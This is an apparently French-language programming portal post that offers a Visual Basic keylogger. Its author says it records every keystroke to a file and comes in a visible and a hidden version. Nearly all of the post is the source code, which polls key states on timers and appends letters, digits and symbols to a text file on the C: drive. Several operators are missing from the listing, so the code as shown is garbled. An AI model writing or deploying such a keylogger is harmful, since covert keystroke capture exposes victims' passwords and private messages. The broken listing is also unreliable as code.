 | |
Key Logger Posted on Saturday, March 30 @ 16:37:13 CET
Topic: Visual Basic
|
Ceci est un petit keylogger, il enregistre toutes les touches tapées dans un fichier, j'ai fait 2 versions une visible et l'autre pas .
Zip DISPO dans la partie download avec les sources !!
LE ZIPP
'il faut un bouton command1 et une text box (text1) et 2 timer
Private Declare Function GetAsyncKeyState Lib _
"user32" (ByVal uAction As Long) As Long
Private Sub Command1_Click()
a = FreeFile
Txt = Text1.Text
Open "c:logkeyB.txt" For Append As a
Print #a, Txt
Close a
End Sub
Private Sub Form_Unload(Cancel As Integer)
a = FreeFile
Txt = Text1.Text
Open "c:logkeyB.txt" For Append As a
Print #a, Txt
Close a
End Sub
Private Sub Timer1_Timer()
a = FreeFile
Txt = Text1.Text
Open "c:logkeyB.txt" For Append As a
Print #a, Txt
Close a
Text1.Text = ""
End Sub
Private Sub Timer2_Timer(Index As Integer)
Select Case Index
Case 0
Retour = GetAsyncKeyState(32)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text " "
End If
Case 1
Retour = GetAsyncKeyState(64)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text "@"
End If
Case 2
Retour = GetAsyncKeyState(65)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text "a"
End If
Case 3
Retour = GetAsyncKeyState(66)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text "b"
End If
Case 4
Retour = GetAsyncKeyState(67)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text "c"
End If
Case 5
Retour = GetAsyncKeyState(68)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text "d"
End If
Case 6
Retour = GetAsyncKeyState(69)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text "e"
End If
Case 7
Retour = GetAsyncKeyState(70)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text "f"
End If
Case 8
Retour = GetAsyncKeyState(71)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text "g"
End If
Case 9
Retour = GetAsyncKeyState(72)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text "h"
End If
Case 10
Retour = GetAsyncKeyState(73)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text "i"
End If
Case 11
Retour = GetAsyncKeyState(74)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text "j"
End If
Case 12
Retour = GetAsyncKeyState(75)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text "k"
End If
Case 13
Retour = GetAsyncKeyState(76)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text "l"
End If
Case 14
Retour = GetAsyncKeyState(77)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text "m"
End If
Case 15
Retour = GetAsyncKeyState(78)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text "n"
End If
Case 16
Retour = GetAsyncKeyState(79)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text "o"
End If
Case 17
Retour = GetAsyncKeyState(80)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text "p"
End If
Case 18
Retour = GetAsyncKeyState(81)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text "q"
End If
Case 19
Retour = GetAsyncKeyState(82)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text "r"
End If
Case 20
Retour = GetAsyncKeyState(83)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text "s"
End If
Case 21
Retour = GetAsyncKeyState(84)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text "t"
End If
Case 22
Retour = GetAsyncKeyState(85)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text "u"
End If
Case 23
Retour = GetAsyncKeyState(86)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text "v"
End If
Case 24
Retour = GetAsyncKeyState(87)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text "w"
End If
Case 25
Retour = GetAsyncKeyState(88)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text "x"
End If
Case 26
Retour = GetAsyncKeyState(89)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text "y"
End If
Case 27
Retour = GetAsyncKeyState(90)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text "z"
End If
Case 28
Retour = GetAsyncKeyState(13)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text vbCrLf
End If
Case 29
Retour = GetAsyncKeyState(127)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text Chr$(127)
End If
Case 30
Retour = GetAsyncKeyState(8)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text Chr$(8)
End If
Case 31
Retour = GetAsyncKeyState(9)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text Chr$(9)
End If
Case 32
Retour = GetAsyncKeyState(10)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text Chr$(10)
End If
Case 33
Retour = GetAsyncKeyState(46)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text "."
End If
Case 34
Retour = GetAsyncKeyState(49)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text "1"
End If
Case 35
Retour = GetAsyncKeyState(48)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text "0"
End If
Case 36
Retour = GetAsyncKeyState(50)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text "2"
End If
Case 37
Retour = GetAsyncKeyState(51)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text "3"
End If
Case 38
Retour = GetAsyncKeyState(52)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text "4"
End If
Case 39
Retour = GetAsyncKeyState(53)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text "5"
End If
Case 40
Retour = GetAsyncKeyState(54)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text "6"
End If
Case 41
Retour = GetAsyncKeyState(55)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text "7"
End If
Case 42
Retour = GetAsyncKeyState(56)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text "8"
End If
Case 43
Retour = GetAsyncKeyState(57)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text "9"
End If
Case 44
Retour = GetAsyncKeyState(47)
If (Retour And 32768) 0 Then
Text1.Text = Text1.Text "/"
End If
End Select
End Sub
Private Sub Text1_KeyPress(KeyAscii As Integer)
KeyAscii = 0
End Sub
|
|
| |
| Article Rating | Average Score: 1 Votes: 1

| |
|
|